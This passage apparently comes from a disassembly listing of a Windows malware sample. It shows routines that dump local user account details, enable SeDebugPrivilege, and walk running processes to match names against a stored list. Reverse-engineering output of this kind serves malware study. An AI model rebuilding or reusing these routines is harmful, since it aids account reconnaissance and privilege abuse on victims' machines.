		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419C05
		xor	esi, esi

loc_419C5B:				; CODE XREF: sub_419B5B+A2j
		push	[ebp+var_4]
		call	dword_4E3188

loc_419C64:				; CODE XREF: sub_419B5B+9Aj
		cmp	ebx, 0EAh
		jz	loc_419B94
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_419B5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C7C	proc near		; CODE XREF: sub_401CC7+4752p
					; sub_401CC7+477Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
Str		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_419D21
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_419CBE
		dec	eax
		jz	short loc_419CB3
		dec	eax
		jnz	short loc_419CD9
		push	[ebp+arg_14]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_C]	; int
		push	ebx		; int
		push	edi		; int
		call	sub_419DC3
		add	esp, 14h
		jmp	short loc_419CD5
; ---------------------------------------------------------------------------

loc_419CB3:				; CODE XREF: sub_419C7C+1Dj
		push	ebx
		push	edi
		call	sub_419DA2
		pop	ecx
		pop	ecx
		jmp	short loc_419CD5
; ---------------------------------------------------------------------------

loc_419CBE:				; CODE XREF: sub_419C7C+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419CD2
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_419D48
		add	esp, 0Ch
		jmp	short loc_419CD5
; ---------------------------------------------------------------------------

loc_419CD2:				; CODE XREF: sub_419C7C+45j
		push	57h
		pop	eax

loc_419CD5:				; CODE XREF: sub_419C7C+35j
					; sub_419C7C+40j ...
		cmp	eax, edi
		jnz	short loc_419CF9

loc_419CD9:				; CODE XREF: sub_419C7C+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset byte_4F305C
		push	off_44FE8C[eax*4]
		push	offset asc_4505E0 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_419D41
; ---------------------------------------------------------------------------

loc_419CF9:				; CODE XREF: sub_419C7C+5Bj
		push	eax
		call	sub_41A32C
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset byte_4F305C
		push	off_44FE88[eax*4]
		push	offset asc_450600 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_419D41
; ---------------------------------------------------------------------------

loc_419D21:				; CODE XREF: sub_419C7C+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset byte_4F305C
		lea	eax, [eax+eax*2]
		push	off_44FE88[eax*4]
		push	offset asc_450630 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_419D41:				; CODE XREF: sub_419C7C+7Bj
					; sub_419C7C+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419C7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D48	proc near		; CODE XREF: sub_419C7C+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419AF7
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419AF7
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419AF7
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4E2FD0
		pop	edi
		leave
		retn
sub_419D48	endp


; =============== S U B	R O U T	I N E =======================================



sub_419DA2	proc near		; CODE XREF: sub_419C7C+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419AF7
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419AF7
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4E2FC0
		pop	esi
		retn
sub_419DA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419DC3(int,int,int,char *Str,int)

sub_419DC3	proc near		; CODE XREF: sub_419C7C+2Dp

Dest		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419AF7
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419AF7
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4E3150
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41A16B
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_41A1A6
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+Dest]
		push	offset aAccountS ; "Account: %S"
		push	eax		; Dest
		call	_sprintf
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+Str]
		mov	ebx, [ebp+arg_8]
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+Dest]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+Dest]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+Dest]
		push	offset aCommentS ; "Comment: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419EE2
		dec	eax
		jz	short loc_419EDB
		dec	eax
		jz	short loc_419ED4
		mov	eax, offset aUnknown_1 ; "Unknown"
		jmp	short loc_419EE7
; ---------------------------------------------------------------------------

loc_419ED4:				; CODE XREF: sub_419DC3+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419EE7
; ---------------------------------------------------------------------------

loc_419EDB:				; CODE XREF: sub_419DC3+105j
		mov	eax, offset aUser_3 ; "User"
		jmp	short loc_419EE7
; ---------------------------------------------------------------------------

loc_419EE2:				; CODE XREF: sub_419DC3+102j
		mov	eax, offset aGuest ; "Guest"

loc_419EE7:				; CODE XREF: sub_419DC3+10Fj
					; sub_419DC3+116j ...
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+Dest]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+Dest]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+Dest]
		push	offset aParametersS ; "Parameters: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+Dest]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+Dest]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+Dest]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+Dest]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+Dest]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+Dest]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+Dest]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+Dest]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+Dest]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+Dest]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+Dest]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_409D34
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_41A197
; ---------------------------------------------------------------------------

loc_41A16B:				; CODE XREF: sub_419DC3+35j
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4507E0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_8]	; int
		call	sub_409D34
		add	esp, 20h

loc_41A197:				; CODE XREF: sub_419DC3+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_41A1A6
		push	[ebp+var_4]
		call	dword_4E3188

loc_41A1A6:				; CODE XREF: sub_419DC3+40j
					; sub_419DC3+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419DC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A1AC(int,char *Str,int,int)

sub_41A1AC	proc near		; CODE XREF: sub_401CC7+47B6p

Dest		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419AF7
		push	esi		; int
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]	; int
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 18h

loc_41A1EB:				; CODE XREF: sub_41A1AC+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4E3058
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41A24C
		cmp	eax, 0EAh
		jz	short loc_41A24C
		push	eax
		push	eax
		call	sub_41A32C
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_45085C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 24h
		jmp	short loc_41A2C7
; ---------------------------------------------------------------------------

loc_41A24C:				; CODE XREF: sub_41A1AC+62j
					; sub_41A1AC+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41A2DA
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_41A2C7

loc_41A25E:				; CODE XREF: sub_41A1AC+EDj
		cmp	edi, esi
		jz	short loc_41A29D
		push	dword ptr [edi]
		lea	eax, [ebp+Dest]
		push	offset aS_30	; "  %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41A25E
		jmp	short loc_41A2C7
; ---------------------------------------------------------------------------

loc_41A29D:				; CODE XREF: sub_41A1AC+B4j
		lea	eax, [ebp+Dest]
		push	offset asc_450828 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 1Ch

loc_41A2C7:				; CODE XREF: sub_41A1AC+9Ej
					; sub_41A1AC+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41A2DA
		push	edi
		call	dword_4E3188
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_41A2DA:				; CODE XREF: sub_41A1AC+A5j
					; sub_41A1AC+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41A1EB
		cmp	edi, esi
		jz	short loc_41A2F2
		push	edi
		call	dword_4E3188

loc_41A2F2:				; CODE XREF: sub_41A1AC+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+Dest]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41A1AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A32C	proc near		; CODE XREF: sub_419965+41p
					; sub_419B5B+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_41A3DE
		jz	loc_41A3D7
		cmp	eax, 7Bh
		ja	short loc_41A3A3
		jz	short loc_41A399
		cmp	eax, 5
		jz	short loc_41A38F
		cmp	eax, 8
		jz	short loc_41A385
		cmp	eax, 32h
		jz	short loc_41A37B
		cmp	eax, 35h
		jz	short loc_41A371
		cmp	eax, 57h
		jnz	loc_41A42D
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_41A44E
; ---------------------------------------------------------------------------

loc_41A371:				; CODE XREF: sub_41A32C+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_41A44E
; ---------------------------------------------------------------------------

loc_41A37B:				; CODE XREF: sub_41A32C+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_41A44E
; ---------------------------------------------------------------------------

loc_41A385:				; CODE XREF: sub_41A32C+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_41A44E
; ---------------------------------------------------------------------------

loc_41A38F:				; CODE XREF: sub_41A32C+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_41A44E
; ---------------------------------------------------------------------------

loc_41A399:				; CODE XREF: sub_41A32C+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_41A44E
; ---------------------------------------------------------------------------

loc_41A3A3:				; CODE XREF: sub_41A32C+1Aj
		sub	eax, 7Ch
		jz	short loc_41A3D0
		sub	eax, 7C8h
		jz	short loc_41A3C9
		dec	eax
		jz	short loc_41A3BF
		dec	eax
		jnz	short loc_41A42D
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_41A44E
; ---------------------------------------------------------------------------

loc_41A3BF:				; CODE XREF: sub_41A32C+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_41A44E
; ---------------------------------------------------------------------------

loc_41A3C9:				; CODE XREF: sub_41A32C+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_41A44E
; ---------------------------------------------------------------------------

loc_41A3D0:				; CODE XREF: sub_41A32C+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_41A44E
; ---------------------------------------------------------------------------

loc_41A3D7:				; CODE XREF: sub_41A32C+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_41A44E
; ---------------------------------------------------------------------------

loc_41A3DE:				; CODE XREF: sub_41A32C+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41A417
		jz	short loc_41A410
		sub	eax, 8ADh
		jz	short loc_41A442
		dec	eax
		dec	eax
		jz	short loc_41A409
		dec	eax
		jz	short loc_41A402
		dec	eax
		dec	eax
		jnz	short loc_41A42D
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_41A44E
; ---------------------------------------------------------------------------

loc_41A402:				; CODE XREF: sub_41A32C+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_41A44E
; ---------------------------------------------------------------------------

loc_41A409:				; CODE XREF: sub_41A32C+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_41A44E
; ---------------------------------------------------------------------------

loc_41A410:				; CODE XREF: sub_41A32C+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_41A44E
; ---------------------------------------------------------------------------

loc_41A417:				; CODE XREF: sub_41A32C+B9j
		sub	eax, 8CAh
		jz	short loc_41A449
		sub	eax, 17h
		jz	short loc_41A442
		sub	eax, 25h
		jz	short loc_41A43B
		sub	eax, 29h
		jz	short loc_41A434

loc_41A42D:				; CODE XREF: sub_41A32C+35j
					; sub_41A32C+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_41A44E
; ---------------------------------------------------------------------------

loc_41A434:				; CODE XREF: sub_41A32C+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_41A44E
; ---------------------------------------------------------------------------

loc_41A43B:				; CODE XREF: sub_41A32C+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_41A44E
; ---------------------------------------------------------------------------

loc_41A442:				; CODE XREF: sub_41A32C+C2j
					; sub_41A32C+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_41A44E
; ---------------------------------------------------------------------------

loc_41A449:				; CODE XREF: sub_41A32C+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_41A44E:				; CODE XREF: sub_41A32C+40j
					; sub_41A32C+4Aj ...
		push	offset byte_4F2DFC ; Dest
		call	_sprintf
		pop	ecx
		mov	eax, offset byte_4F2DFC
		pop	ecx
		retn
sub_41A32C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A460(char *Source)

sub_41A460	proc near		; CODE XREF: sub_401CC7+47FCp

Dest		= word ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
Source		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h		; MaxCount
		push	[ebp+Source]	; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_mbstowcs
		add	esp, 0Ch
		lea	eax, [ebp+Source]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+Source], esi
		call	ds:dword_4F5394	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi		; MaxCount
		push	eax		; Source
		lea	eax, [ebp+var_318]
		push	eax		; Dest
		call	_mbstowcs
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_wcslen
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4E3108
		test	eax, eax
		jnz	short loc_41A4F0
		mov	esi, offset byte_4F2BF8
		push	offset asc_450B58 ; "-"
		push	esi		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_41A519
; ---------------------------------------------------------------------------

loc_41A4F0:				; CODE XREF: sub_41A460+7Aj
		lea	ecx, [ebp+Dest]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41A32C
		pop	ecx
		mov	esi, offset byte_4F2BF8
		push	eax
		push	offset asc_450B80 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 14h

loc_41A519:				; CODE XREF: sub_41A460+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A51E	proc near		; CODE XREF: sub_417A8B+45p
					; sub_417A8B+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	ds:dword_4F53CC	; GetCurrentProcess
		push	eax
		call	dword_4E30DC	; OpenProcessToken
		test	eax, eax
		jnz	short loc_41A53D
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A53D:				; CODE XREF: sub_41A51E+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4E30B4	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_41A57B
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_41A564
		or	[ebp+var_8], 2
		jmp	short loc_41A568
; ---------------------------------------------------------------------------

loc_41A564:				; CODE XREF: sub_41A51E+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_41A568:				; CODE XREF: sub_41A51E+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4E3164	; AdjustTokenPrivileges
		mov	esi, eax

loc_41A57B:				; CODE XREF: sub_41A51E+32j
		push	[ebp+var_4]
		call	ds:dword_4F533C	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A51E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A589(int,char *Str,int,char	*Str2,int,int)

sub_41A589	proc near		; CODE XREF: sub_401CC7+79CBp
					; sub_41A7CC+74p ...

Dest		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
Str1		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str2		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4E3118, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_41A79C
		cmp	dword_4E30FC, ebx
		jz	loc_41A79C
		cmp	dword_4E300C, ebx
		jz	loc_41A79C
		push	1
		push	offset aSedebugprivi_1 ; "SeDebugPrivilege"
		call	sub_41A51E
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4E3118	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_41A78F
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4E30FC	; Process32First
		mov	esi, ds:dword_4F533C
		test	eax, eax
		jz	loc_41A78A
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4E300C	; Process32Next
		test	eax, eax
		jz	loc_41A78A
		mov	edi, ds:dword_4F5358
		mov	ebx, 1F0FFFh

loc_41A64D:				; CODE XREF: sub_41A589+1F9j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_41A6B4
		mov	[ebp+var_4], offset off_450BB0

loc_41A65B:				; CODE XREF: sub_41A589+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+Str1]
		push	eax
		call	ds:dword_4F5458	; lstrcmpi
		test	eax, eax
		jz	short loc_41A683
